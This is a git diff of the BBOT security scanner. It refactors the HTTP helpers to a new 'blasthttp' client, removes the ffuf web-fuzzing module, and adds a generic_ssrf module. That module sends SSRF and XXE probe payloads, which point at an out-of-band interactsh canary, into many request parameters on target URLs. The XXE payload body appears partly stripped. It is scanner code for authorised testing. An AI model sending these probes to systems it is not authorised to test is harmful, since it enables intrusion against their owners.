Examples: >>> urls_and_kwargs = [ @@ -170,13 +352,27 @@ async def request_custom_batch(self, urls_and_kwargs): >>> if response is not None and response.status_code == 200: >>> self.hugesuccess(response) """ - agen = self.run_and_yield("request_custom_batch", urls_and_kwargs) - while 1: - try: - yield await agen.__anext__() - except (StopAsyncIteration, GeneratorExit): - await agen.aclose() - break + tasks = {} + semaphore = asyncio.Semaphore(threads) + + for entry in urls_and_kwargs: + url = entry[0] + entry_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else {} + tracker = entry[2] if len(entry) > 2 else None + + async def _request(_url=url, _kwargs=entry_kwargs, _tracker=tracker): + async with semaphore: + return _url, _kwargs, _tracker, await self.request(_url, **_kwargs) + + task = asyncio.create_task(_request()) + tasks[task] = True + + while tasks: + finished, _ = await asyncio.wait(tasks, return_when=asyncio.FIRST_COMPLETED) + for task in finished: + del tasks[task] + url, kw, tracker, response = task.result() + yield url, kw, tracker, response async def download(self, url, **kwargs): """ @@ -193,7 +389,7 @@ async def download(self, url, **kwargs): A negative value disables caching. Defaults to -1. method (str, optional): The HTTP method to use for the request, defaults to 'GET'. raise_error (bool, optional): Whether to raise exceptions for HTTP connect, timeout errors. Defaults to False. - **kwargs: Additional keyword arguments to pass to the httpx request. + **kwargs: Additional keyword arguments to pass to request(). Returns: Path or None: The full path of the downloaded file as a Path object if successful, otherwise None. @@ -202,29 +398,65 @@ async def download(self, url, **kwargs): >>> filepath = await self.helpers.download("https://www.evilcorp.com/passwords.docx", cache_hrs=24) """ success = False + warn = kwargs.pop("warn", True) raise_error = kwargs.get("raise_error", False) filename = kwargs.pop("filename", self.parent_helper.cache_filename(url)) filename = truncate_filename(Path(filename).resolve()) - kwargs["filename"] = filename max_size = kwargs.pop("max_size", None) if max_size is not None: max_size = self.parent_helper.human_to_bytes(max_size) - kwargs["max_size"] = max_size cache_hrs = float(kwargs.pop("cache_hrs", -1)) + if cache_hrs > 0 and self.parent_helper.is_cached(url): log.debug(f"{url} is cached at {self.parent_helper.cache_filename(url)}") success = True else: - result = await self.run_and_return("download", url, **kwargs) - if isinstance(result, dict) and "_download_error" in result: + try: + kwargs["follow_redirects"] = kwargs.pop("follow_redirects", True) + if "method" not in kwargs: + kwargs["method"] = "GET" + kwargs["raise_error"] = True + # Use a longer timeout for downloads (default 5 minutes) + if "timeout" not in kwargs: + kwargs["timeout"] = 300 + # Raise the body size limit for downloads + if "max_body_size" not in kwargs: + if max_size is not None: + kwargs["max_body_size"] = max_size + else: + kwargs["max_body_size"] = 500 * 1024 * 1024 # 500MB default + + response = await self.request(url, **kwargs) + + if response is None: + raise BlasthttpHTTPError(f"No response from {url}") + + log.debug(f"Download result: HTTP {response.status_code}") + response.raise_for_status() + + content = response.content + # Truncate if max_size specified + if max_size is not None: + if len(content) > max_size: + log.verbose( + f"Size of response from {url} exceeds {bytes_to_human(max_size)}, file will be truncated" + ) + content = content[:max_size] + + with open(filename, "wb") as f: + f.write(content) + success = True + + except (BlasthttpHTTPError, WebError, RuntimeError) as e: + log_fn = log.verbose + if warn: + log_fn = log.warning + log_fn(f"Failed to download {url}: {e}") if raise_error: - error_msg = result["_download_error"] - response = result["_response"] - error = self.ERROR_CLASS(error_msg) - error.response = response + _response = getattr(e, "response", None) + error = WebError(str(e)) + error.response = _response raise error - elif result: - success = True if success: return filename @@ -300,134 +532,6 @@ async def wordlist(self, path, lines=None, zip=False, zip_filename=None, **kwarg f.write(line) return truncated_filename - async def curl(self, *args, **kwargs): - """ - An asynchronous function that runs a cURL command with specified arguments and options. - - This function constructs and executes a cURL command based on the provided parameters. - It offers support for various cURL options such as headers, post data, and cookies. - - Args: - *args: Variable length argument list for positional arguments. Unused in this function. - url (str): The URL for the cURL request. Mandatory. - raw_path (bool, optional): If True, activates '--path-as-is' in cURL. Defaults to False. - headers (dict, optional): A dictionary of HTTP headers to include in the request. - ignore_bbot_global_settings (bool, optional): If True, ignores the global settings of BBOT. Defaults to False. - post_data (dict, optional): A dictionary containing data to be sent in the request body. - method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST'). - cookies (dict, optional): A dictionary of cookies to include in the request. - path_override (str, optional): Overrides the request-target to use in the HTTP request line. - head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. - raw_body (str, optional): Raw string to be sent in the body of the request. - **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. - - Returns: - str: The output of the cURL command. - - Raises: - CurlError: If 'url' is not supplied. - - Examples: - >>> output = await curl(url="https://example.com", headers={"X-Header": "Wat"}) - >>> print(output) - """ - url = kwargs.get("url", "") - - if not url: - raise CurlError("No URL supplied to CURL helper") - - curl_command = ["curl", url, "-s"] - - raw_path = kwargs.get("raw_path", False) - if raw_path: - curl_command.append("--path-as-is") - - # respect global ssl verify settings - if self.ssl_verify is not True: - curl_command.append("-k") - - headers = kwargs.get("headers", {}) - cookies = kwargs.get("cookies", {}) - - ignore_bbot_global_settings = kwargs.get("ignore_bbot_global_settings", False) - - if ignore_bbot_global_settings: - http_timeout = 20 # setting 20 as a worse-case setting - log.debug("ignore_bbot_global_settings enabled. Global settings will not be applied") - else: - http_timeout = self.parent_helper.web_config.get("http_timeout", 20) - user_agent = f"{self.parent_helper.web_config.get('user_agent', 'BBOT')} {self.parent_helper.web_config.get('user_agent_suffix') or ''}".strip() - - if "User-Agent" not in headers: - headers["User-Agent"] = user_agent - - # only add custom headers / cookies if the URL is in-scope - if self.parent_helper.preset.in_scope(url): - for hk, hv in self.web_config.get("http_headers", {}).items(): - # Only add the header if it doesn't already exist in the headers dictionary - if hk not in headers: - headers[hk] = hv - - for ck, cv in self.web_config.get("http_cookies", {}).items(): - # don't clobber cookies - if ck not in cookies: - cookies[ck] = cv - - # add the timeout - if "timeout" not in kwargs: - timeout = http_timeout - - curl_command.append("-m") - curl_command.append(str(timeout)) - - for k, v in headers.items(): - if isinstance(v, list): - for x in v: - curl_command.append("-H") - curl_command.append(f"{k}: {x}") - - else: - curl_command.append("-H") - curl_command.append(f"{k}: {v}") - - post_data = kwargs.get("post_data", {}) - if len(post_data.items()) > 0: - curl_command.append("-d") - post_data_str = "" - for k, v in post_data.items(): - post_data_str += f"&{k}={v}" - curl_command.append(post_data_str.lstrip("&")) - - method = kwargs.get("method", "") - if method: - curl_command.append("-X") - curl_command.append(method) - - cookies = kwargs.get("cookies", "") - if cookies: - curl_command.append("-b") - cookies_str = "" - for k, v in cookies.items(): - cookies_str += f"{k}={v}; " - curl_command.append(f"{cookies_str.rstrip(' ')}") - - path_override = kwargs.get("path_override", None) - if path_override: - curl_command.append("--request-target") - curl_command.append(f"{path_override}") - - head_mode = kwargs.get("head_mode", None) - if head_mode: - curl_command.append("-I") - - raw_body = kwargs.get("raw_body", None) - if raw_body: - curl_command.append("-d") - curl_command.append(raw_body) - log.verbose(f"Running curl command: {curl_command}") - output = (await self.parent_helper.run(curl_command)).stdout - return output - def beautifulsoup( self, markup, @@ -478,6 +582,9 @@ def beautifulsoup( Searches the soup instance for all occurrences of the passed in argument """ try: + # If a response object is passed, extract the text + if hasattr(markup, "text") and not isinstance(markup, (str, bytes)): + markup = markup.text soup = BeautifulSoup( markup, features, builder, parse_only, from_encoding, exclude_encodings, element_classes, **kwargs ) @@ -488,7 +595,7 @@ def beautifulsoup( def response_to_json(self, response): """ - Convert web response to JSON object, similar to the output of `httpx -irr -json` + Convert web response to JSON object, to a JSON-serializable dict. """ if response is None: diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 1100919423..f89f114fe7 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -48,7 +48,7 @@ class ModuleLoader: module_dir_regex = re.compile(r"^[a-z][a-z0-9_]*$") # if a module consumes these event types, automatically assume these dependencies - default_module_deps = {"HTTP_RESPONSE": "httpx", "URL": "httpx", "SOCIAL": "social"} + default_module_deps = {"HTTP_RESPONSE": "http", "URL": "http", "SOCIAL": "social"} def __init__(self): self.core = CORE @@ -303,7 +303,7 @@ def preload_module(self, module_file): "hash": "d5a88dd3866c876b81939c920bf4959716e2a374", "deps": { "modules": [ - "httpx" + "http" ] "pip": [ "python-Wappalyzer~=0.3.1" diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index c3b7623654..6bed4787d6 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -173,6 +173,31 @@ }, ] +DEP_CURL = [ + { + "name": "Download static curl binary (v8.11.0)", + "get_url": { + "url": "https://github.com/moparisthebest/static-curl/releases/download/v8.11.0/curl-amd64", + "dest": "#{BBOT_TOOLS}/curl", + "mode": "0755", + "force": True, + }, + }, + { + "name": "Ensure curl binary is executable", + "file": { + "path": "#{BBOT_TOOLS}/curl", + "mode": "0755", + }, + }, + { + "name": "Verify curl binary works", + "command": "#{BBOT_TOOLS}/curl --version", + "register": "curl_version_output", + "changed_when": False, + }, +] + DEP_MASSCAN = [ { "name": "install os deps (Debian)", diff --git a/bbot/defaults.yml b/bbot/defaults.yml index fa3727b1b4..a2d0ec0238 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -96,8 +96,8 @@ web: spider_links_per_page: 25 # HTTP timeout (for Python requests; API calls, etc.) http_timeout: 10 - # HTTP timeout (for httpx) - httpx_timeout: 5 + # HTTP timeout (for blasthttp) + blasthttp_timeout: 5 # Custom HTTP headers (e.g. cookies, etc.) # in the format { "Header-Key": "header_value" } # These are attached to all in-scope HTTP requests @@ -109,8 +109,8 @@ web: api_retries: 2 # HTTP retries - try again if the raw connection fails http_retries: 1 - # HTTP retries (for httpx) - httpx_retries: 1 + # HTTP retries (for blasthttp) + blasthttp_retries: 1 # Default sleep interval when rate limited by 429 (and retry-after isn't provided) 429_sleep_interval: 30 # Maximum sleep interval when rate limited by 429 (and an excessive retry-after is provided) @@ -121,6 +121,9 @@ web: http_max_redirects: 5 # Whether to verify SSL certificates ssl_verify: false + # Maximum HTTP requests per second (0 = unlimited) + # Applies globally across all blasthttp consumers (http probing, web brute, etc.) + http_rate_limit: 0 ### ENGINE ### diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index ace72c9c68..894ed72004 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -130,25 +130,10 @@ async def _run_module(self, module_instance): self.warning(f"Task for {module_instance} raised an error: {e}") return module_instance, None - def _new_http_client(self, *args, **kwargs): - """Create a non-cached HTTP client for baddns submodules. - - baddns submodules close their HTTP clients during cleanup, so we can't - use the caching ``web.AsyncClient`` factory — that would let one - submodule close a client that another submodule is still using. - - TODO: revisit this when we switch to blasthttp — the caching/lifecycle - model will be different and this workaround may no longer be needed. - """ - from bbot.core.helpers.web.client import BBOTAsyncClient - - return BBOTAsyncClient.from_config(self.scan.config, self.scan.target, *args, persist_cookies=False, **kwargs) - async def handle_event(self, event): coroutines = [] for ModuleClass in self.select_modules(): kwargs = { - "http_client_class": self._new_http_client, "dns_client": self.scan.helpers.dns.resolver, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index f4093fa8cc..be2311bd38 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -27,7 +27,6 @@ def set_modules(self): async def handle_event(self, event): CNAME_direct_module = self.select_modules()[0] kwargs = { - "http_client_class": self.scan.helpers.web.AsyncClient, "dns_client": self.scan.helpers.dns.resolver, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, diff --git a/bbot/modules/base.py b/bbot/modules/base.py index f28ae8af88..c2839b25e5 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -73,7 +73,7 @@ class BaseModule: _stats_exclude (bool): Whether to exclude this module from scan statistics. Default is False. - _disable_auto_module_deps (bool): Whether to disable automatic module dependencies. This is useful e.g. if the module consumes URLs, but you don't want to automatically enable the httpx module. Default is False. + _disable_auto_module_deps (bool): Whether to disable automatic module dependencies. This is useful e.g. if the module consumes URLs, but you don't want to automatically enable the blasthttp module. Default is False. _qsize (int): Outgoing queue size (0 for infinite). Default is 0. @@ -784,8 +784,6 @@ async def _worker(self): else: self.debug(f"Not accepting {event} because {reason}") except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") raise except RuntimeError as e: self.trace(f"RuntimeError in module {self.name}: {e}") @@ -1394,7 +1392,7 @@ async def api_page_iter(self, url, page_size=100, _json=True, next_key=None, ite **requests_kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. Yields: - dict or httpx.Response: If 'json' is True, yields a dictionary containing the parsed JSON data. Otherwise, yields the raw HTTP response. + dict or Response: If 'json' is True, yields a dictionary containing the parsed JSON data. Otherwise, yields the raw HTTP response. Note: The loop will continue indefinitely unless manually stopped. Make sure to break out of the loop once the last page has been received. @@ -1885,8 +1883,6 @@ async def _worker(self): await self.forward_event(event, kwargs) except asyncio.CancelledError: - # this trace was used for debugging leaked CancelledErrors from inside httpx - # self.log.trace("Worker cancelled") raise except RuntimeError as e: self.trace(f"RuntimeError in intercept module {self.name}: {e}") diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py deleted file mode 100644 index 4076b02024..0000000000 --- a/bbot/modules/ffuf.py +++ /dev/null @@ -1,358 +0,0 @@ -from bbot.modules.base import BaseModule - -import random -import string -import json -import base64 - - -class ffuf(BaseModule): - watched_events = ["URL"] - produced_events = ["URL_UNVERIFIED"] - flags = ["loud", "active"] - meta = {"description": "A fast web fuzzer written in Go", "created_date": "2022-04-10", "author": "@liquidsec"} - - options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt", - "lines": 5000, - "max_depth": 0, - "extensions": "", - "ignore_case": False, - "rate": 0, - } - - options_desc = { - "wordlist": "Specify wordlist to use when finding directories", - "lines": "take only the first N lines from the wordlist when finding directories", - "max_depth": "the maximum directory depth to attempt to solve", - "extensions": "Optionally include a list of extensions to extend the keyword with (comma separated)", - "ignore_case": "Only put lowercase words into the wordlist", - "rate": "Rate of requests per second (default: 0)", - } - - deps_common = ["ffuf"] - - banned_characters = {" "} - blacklist = ["images", "css", "image"] - - in_scope_only = True - - async def setup_deps(self): - self.wordlist = await self.helpers.wordlist(self.config.get("wordlist")) - return True - - async def setup(self): - self.proxy = self.scan.web_config.get("http_proxy", "") - self.canary = "".join(random.choice(string.ascii_lowercase) for i in range(10)) - wordlist_url = self.config.get("wordlist", "") - self.debug(f"Using wordlist [{wordlist_url}]") - self.wordlist_lines = self.generate_wordlist(self.wordlist) - self.tempfile, tempfile_len = self.generate_templist() - self.rate = self.config.get("rate", 0) - self.verbose(f"Generated dynamic wordlist with length [{str(tempfile_len)}]") - try: - self.extensions = self.helpers.chain_lists(self.config.get("extensions", ""), validate=True) - self.debug(f"Using custom extensions: [{','.join(self.extensions)}]") - except ValueError as e: - self.warning(f"Error parsing extensions: {e}") - return False - return True - - async def handle_event(self, event): - if self.helpers.url_depth(event.url) > self.config.get("max_depth"): - self.debug("Exceeded max depth, aborting event") - return - - # only FFUF against a directory - if "." in event.parsed_url.path.split("/")[-1]: - self.debug("Aborting FFUF as period was detected in right-most path segment (likely a file)") - return - else: - # if we think its a directory, normalize it. - fixed_url = event.url.rstrip("/") + "/" - - exts = ["", "/"] - if self.extensions: - for ext in self.extensions: - exts.append(f".{ext}") - - filters = await self.baseline_ffuf(fixed_url, exts=exts) - async for r in self.execute_ffuf(self.tempfile, fixed_url, exts=exts, filters=filters): - await self.emit_event( - r["url"], - "URL_UNVERIFIED", - parent=event, - tags=[f"status-{r['status']}"], - context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.pretty_string}}", - ) - - async def filter_event(self, event): - if "endpoint" in event.tags: - self.debug(f"rejecting URL [{event.url}] because we don't ffuf endpoints") - return False - return True - - async def baseline_ffuf(self, url, exts=[""], prefix="", suffix="", mode="normal"): - filters = {} - for ext in exts: - self.debug(f"running baseline for URL [{url}] with ext [{ext}]") - # For each "extension", we will attempt to build a baseline using 4 requests - - canary_results = [] - - canary_length = 4 - canary_list = [] - for i in range(0, 4): - canary_list.append("".join(random.choice(string.ascii_lowercase) for i in range(canary_length))) - canary_length += 2 - - canary_temp_file = self.helpers.tempfile(canary_list, pipe=False) - async for canary_r in self.execute_ffuf( - canary_temp_file, - url, - prefix=prefix, - suffix=suffix, - mode=mode, - baseline=True, - apply_filters=False, - filters=filters, - ): - canary_results.append(canary_r) - - # First, lets check to make sure we got all 4 requests. If we didn't, there are likely serious connectivity issues. - # We should issue a warning in that case. - - if len(canary_results) != 4: - self.warning( - f"Could not attain baseline for URL [{url}] ext [{ext}] because baseline results are missing. Possible connectivity issues." - ) - filters[ext] = ["ABORT", "CONNECTIVITY_ISSUES"] - continue - - # if the codes are different, we should abort, this should also be a warning, as it is highly unusual behavior - if len({d["status"] for d in canary_results}) != 1: - self.warning("Got different codes for each baseline. This could indicate load balancing") - filters[ext] = ["ABORT", "BASELINE_CHANGED_CODES"] - continue - - # if the code we received was a 404, we are just going to look for cases where we get a different code - if canary_results[0]["status"] == 404: - self.debug("All baseline results were 404, we can just look for anything not 404") - filters[ext] = ["-fc", "404"] - continue - - # if we only got 403, we might already be blocked by a WAF. Issue a warning, but it's possible all 'not founds' are given 403 - if canary_results[0]["status"] == 403: - self.warning( - "All requests of the baseline received a 403 response. It is possible a WAF is actively blocking your traffic." - ) - - # if we only got 429, we are almost certainly getting blocked by a WAF or rate-limiting. Specifically with 429, we should respect them and abort the scan. - if canary_results[0]["status"] == 429: - self.warning( - f"Received code 429 (Too many requests) for URL [{url}]. A WAF or application is actively blocking requests, aborting." - ) - filters[ext] = ["ABORT", "RECEIVED_429"] - continue - - # we start by seeing if all of the baselines have the same character count - if len({d["length"] for d in canary_results}) == 1: - self.debug("All baseline results had the same char count, we can make a filter on that") - filters[ext] = [ - "-fc", - str(canary_results[0]["status"]), - "-fs", - str(canary_results[0]["length"]), - "-fmode", - "and", - ] - continue - - # if that doesn't work we can try words - if len({d["words"] for d in canary_results}) == 1: - self.debug("All baseline results had the same word count, we can make a filter on that") - filters[ext] = [ - "-fc", - str(canary_results[0]["status"]), - "-fw", - str(canary_results[0]["words"]), - "-fmode", - "and", - ] - continue - - # as a last resort we will try lines - if len({d["lines"] for d in canary_results}) == 1: - self.debug("All baseline results had the same word count, we can make a filter on that") - filters[ext] = [ - "-fc", - str(canary_results[0]["status"]), - "-fl", - str(canary_results[0]["lines"]), - "-fmode", - "and", - ] - continue - - # if even the line count isn't stable, we can only reliably count on the result if the code is different - filters[ext] = ["-fc", f"{str(canary_results[0]['status'])}"] - - return filters - - async def execute_ffuf( - self, - tempfile, - url, - prefix="", - suffix="", - exts=[""], - filters={}, - mode="normal", - apply_filters=True, - baseline=False, - ): - for ext in exts: - if mode == "normal": - self.debug("in mode [normal]") - - fuzz_url = f"{url}{prefix}FUZZ{suffix}" - - command = [ - "ffuf", - "-noninteractive", - "-s", - "-H", - f"User-Agent: {self.scan.useragent}", - "-json", - "-w", - tempfile, - "-u", - f"{fuzz_url}{ext}", - ] - - elif mode == "hostheader": - self.debug("in mode [hostheader]") - - command = [ - "ffuf", - "-noninteractive", - "-s", - "-H", - f"User-Agent: {self.scan.useragent}", - "-H", - f"Host: FUZZ{suffix}", - "-json", - "-w", - tempfile, - "-u", - f"{url}", - ] - else: - self.debug("invalid mode specified, aborting") - return - - if self.rate > 0: - command += ["-rate", f"{self.rate}"] - - if self.proxy: - command += ["-x", self.proxy] - - if apply_filters: - if ext in filters.keys(): - if filters[ext][0] == ("ABORT"): - self.warning(f"Exiting from FFUF run early, received an ABORT filter: [{filters[ext][1]}]") - continue - - elif filters[ext] is None: - pass - - else: - command += filters[ext] - else: - command.append("-mc") - command.append("all") - - for hk, hv in self.scan.custom_http_headers.items(): - command += ["-H", f"{hk}: {hv}"] - - async for found in self.run_process_live(command): - try: - found_json = json.loads(found) - input_json = found_json.get("input", {}) - if type(input_json) != dict: - self.debug("Error decoding JSON from ffuf") - continue - encoded_input = input_json.get("FUZZ", "") - input_val = base64.b64decode(encoded_input).decode() - if len(input_val.rstrip()) > 0: - if self.scan.stopping: - break - if input_val.rstrip() == self.canary: - self.debug("Found canary! aborting...") - return - else: - if mode == "normal": - # before emitting, we are going to send another baseline. This will immediately catch things like a WAF flipping blocking on us mid-scan - if baseline is False: - pre_emit_temp_canary = [ - f - async for f in self.execute_ffuf( - self.helpers.tempfile( - ["".join(random.choice(string.ascii_lowercase) for i in range(4))], - pipe=False, - ), - url, - prefix=prefix, - suffix=suffix, - mode=mode, - exts=[ext], - baseline=True, - filters=filters, - ) - ] - if len(pre_emit_temp_canary) == 0: - yield found_json - - else: - self.verbose( - f"Would have reported URL [{found_json['url']}], but baseline check failed. This could be due to a WAF turning on mid-scan, or an unusual web server configuration." - ) - self.verbose(f"Aborting the current run against [{url}]") - return - - yield found_json - - except json.decoder.JSONDecodeError: - self.debug("Received invalid JSON from FFUF") - - def generate_templist(self, prefix=None): - virtual_file = [] - if prefix: - prefix = prefix.strip().lower() - max_lines = self.config.get("lines") - - for line in self.wordlist_lines[:max_lines]: - # Check if it starts with the given prefix (if any) - if (not prefix) or line.lower().startswith(prefix): - virtual_file.append(line) - - virtual_file.append(self.canary) - return self.helpers.tempfile(virtual_file, pipe=False), len(virtual_file) - - def generate_wordlist(self, wordlist_file): - wordlist_set = set() # Use a set to avoid duplicates - ignore_case = self.config.get("ignore_case", False) # Get the ignore_case option - for line in self.helpers.read_file(wordlist_file): - line = line.strip() - if not line: - continue - if line in self.blacklist: - self.debug(f"Skipping adding [{line}] to wordlist because it was in the blacklist") - continue - if any(x in line for x in self.banned_characters): - self.debug(f"Skipping adding [{line}] to wordlist because it has a banned character") - continue - if ignore_case: - line = line.lower() # Convert to lowercase if ignore_case is enabled - wordlist_set.add(line) # Add to set to handle duplicates - return list(wordlist_set) # Convert set back to list before returning diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py new file mode 100644 index 0000000000..1534e72756 --- /dev/null +++ b/bbot/modules/generic_ssrf.py @@ -0,0 +1,266 @@ +from bbot.errors import InteractshError +from bbot.modules.base import BaseModule + + +ssrf_params = [ + "Dest", + "Redirect", + "URI", + "Path", + "Continue", + "URL", + "Window", + "Next", + "Data", + "Reference", + "Site", + "HTML", + "Val", + "Validate", + "Domain", + "Callback", + "Return", + "Page", + "Feed", + "Host", + "Port", + "To", + "Out", + "View", + "Dir", + "Show", + "Navigation", + "Open", +] + + +class BaseSubmodule: + technique_description = "base technique description" + severity = "INFO" + paths = [] + + deps_common = ["curl"] + + def __init__(self, generic_ssrf): + self.generic_ssrf = generic_ssrf + self.test_paths = self.create_paths() + + def set_base_url(self, event): + return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" + + def create_paths(self): + return self.paths + + async def test(self, event): + base_url = self.set_base_url(event) + for test_path_result in self.test_paths: + for lower in [True, False]: + test_path = test_path_result[0] + if lower: + test_path = test_path.lower() + subdomain_tag = test_path_result[1] + test_url = f"{base_url}{test_path}" + self.generic_ssrf.debug(f"Sending request to URL: {test_url}") + r = await self.generic_ssrf.helpers.request(url=test_url) + if r: + self.process(event, r.text, subdomain_tag) + + def process(self, event, r, subdomain_tag): + response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] + if response_token in r: + echoed_response = True + else: + echoed_response = False + + self.generic_ssrf.interactsh_subdomain_tags[subdomain_tag] = ( + event, + self.technique_description, + self.severity, + echoed_response, + ) + + +class Generic_SSRF(BaseSubmodule): + technique_description = "Generic SSRF (GET)" + severity = "HIGH" + + def set_base_url(self, event): + return event.url + + def create_paths(self): + test_paths = [] + for param in ssrf_params: + query_string = "" + subdomain_tag = self.generic_ssrf.helpers.rand_string(4) + ssrf_canary = f"{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" + self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param + query_string += f"{param}=http://{ssrf_canary}&" + test_paths.append((f"?{query_string.rstrip('&')}", subdomain_tag)) + return test_paths + + +class Generic_SSRF_POST(BaseSubmodule): + technique_description = "Generic SSRF (POST)" + severity = "HIGH" + + def set_base_url(self, event): + return event.url + + async def test(self, event): + test_url = event.url + + post_data = {} + for param in ssrf_params: + subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) + self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param + post_data[param] = f"http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" + + subdomain_tag_lower = self.generic_ssrf.helpers.rand_string(4, digits=False) + post_data_lower = { + k.lower(): f"http://{subdomain_tag_lower}.{self.generic_ssrf.interactsh_domain}" + for k, v in post_data.items() + } + + post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] + + for tag, pd in post_data_list: + # Send raw body (not URL-encoded) so payload URLs like http://... reach the + # server literally — matching old curl -d behavior. + raw_body = "&".join(f"{k}={v}" for k, v in pd.items()) + r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=raw_body) + if r: + self.process(event, r.text, tag) + + +class Generic_XXE(BaseSubmodule): + technique_description = "Generic XXE" + severity = "HIGH" + paths = None + + async def test(self, event): + rand_entity = self.generic_ssrf.helpers.rand_string(4, digits=False) + subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) + + post_body = f""" + + +]> +&{rand_entity};""" + test_url = event.parsed_url.geturl() + r = await self.generic_ssrf.helpers.request( + url=test_url, method="POST", body=post_body, headers={"Content-type": "application/xml"} + ) + if r: + self.process(event, r.text, subdomain_tag) + + +class generic_ssrf(BaseModule): + watched_events = ["URL"] + produced_events = ["FINDING"] + flags = ["active", "invasive", "web-heavy"] + meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} + options = { + "skip_dns_interaction": False, + } + options_desc = { + "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)", + } + in_scope_only = True + + async def setup(self): + self.submodules = {} + self.interactsh_subdomain_tags = {} + self.parameter_subdomain_tags_map = {} + self.severity = None + self.skip_dns_interaction = self.config.get("skip_dns_interaction", False) + + if self.scan.config.get("interactsh_disable", False) is False: + try: + self.interactsh_instance = self.helpers.interactsh() + self.interactsh_domain = await self.interactsh_instance.register(callback=self.interactsh_callback) + except InteractshError as e: + self.warning(f"Interactsh failure: {e}") + return False + else: + self.warning( + "The generic_ssrf module is completely dependent on interactsh to function, but it is disabled globally. Aborting." + ) + return None + + # instantiate submodules + for m in BaseSubmodule.__subclasses__(): + if m.__name__.startswith("Generic_"): + self.verbose(f"Starting generic_ssrf submodule: {m.__name__}") + self.submodules[m.__name__] = m(self) + + return True + + async def handle_event(self, event): + for s in self.submodules.values(): + await s.test(event) + + async def interactsh_callback(self, r): + protocol = r.get("protocol").upper() + if protocol == "DNS" and self.skip_dns_interaction: + return + + full_id = r.get("full-id", None) + subdomain_tag = full_id.split(".")[0] + + if full_id: + if "." in full_id: + match = self.interactsh_subdomain_tags.get(subdomain_tag) + if not match: + return + matched_event = match[0] + matched_technique = match[1] + matched_severity = match[2] + matched_echoed_response = str(match[3]) + + triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) + description = f"Out-of-band interaction: [{matched_technique}]" + if triggering_param: + self.debug(f"Found triggering parameter: {triggering_param}") + description += f" [Triggering Parameter: {triggering_param}]" + description += f" [{protocol}] Echoed Response: {matched_echoed_response}" + + self.debug(f"Emitting event with description: {description}") # Debug the final description + + event_data = { + "host": str(matched_event.host), + "url": matched_event.url, + "name": matched_technique, + "description": description, + "severity": matched_severity if protocol == "HTTP" else "LOW", + "confidence": "CONFIRMED" if protocol == "HTTP" else "MEDIUM", + } + + await self.emit_event( + event_data, + "FINDING", + matched_event, + context=f"{{module}} scanned {matched_event.url} and detected {{event.type}}: {matched_technique}", + ) + else: + # this is likely caused by something trying to resolve the base domain first and can be ignored + self.debug("skipping result because subdomain tag was missing") + + async def cleanup(self): + if self.scan.config.get("interactsh_disable", False) is False: + try: + await self.interactsh_instance.deregister() + self.debug( + f"successfully deregistered interactsh session with correlation_id {self.interactsh_instance.correlation_id}" + ) + except InteractshError as e: + self.warning(f"Interactsh failure: {e}") + + async def finish(self): + if self.scan.config.get("interactsh_disable", False) is False: + await self.helpers.sleep(5) + try: + for r in await self.interactsh_instance.poll(): + await self.interactsh_callback(r) + except InteractshError as e: + self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/modules/github_codesearch.py b/bbot/modules/github_codesearch.py index 6901221a30..e5e941478b 100644 --- a/bbot/modules/github_codesearch.py +++ b/bbot/modules/github_codesearch.py @@ -32,7 +32,7 @@ async def handle_event(self, event): context=f'{{module}} searched github.com for "{query}" and found {{event.type}} with matching content at {repo_url}', ) for raw_url in raw_urls: - url_event = self.make_event(raw_url, "URL_UNVERIFIED", parent=repo_event, tags=["httpx-safe"]) + url_event = self.make_event(raw_url, "URL_UNVERIFIED", parent=repo_event, tags=["blasthttp-safe"]) if not url_event: continue await self.emit_event( diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 8d49b70c19..02e9d60764 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -15,8 +15,6 @@ class host_header(BaseModule): in_scope_only = True per_hostport_only = True - deps_apt = ["curl"] - async def setup(self): self.subdomain_tags = {} if self.scan.config.get("interactsh_disable", False) is False: @@ -103,13 +101,13 @@ async def handle_event(self, event): self.debug(f"Performing {technique_description} case") subdomain_tag = self.rand_string(4, digits=False) self.subdomain_tags[subdomain_tag] = (event, technique_description) - output = await self.helpers.curl( + response = await self.helpers.request( url=url, headers={"Host": f"{subdomain_tag}.{self.domain}"}, 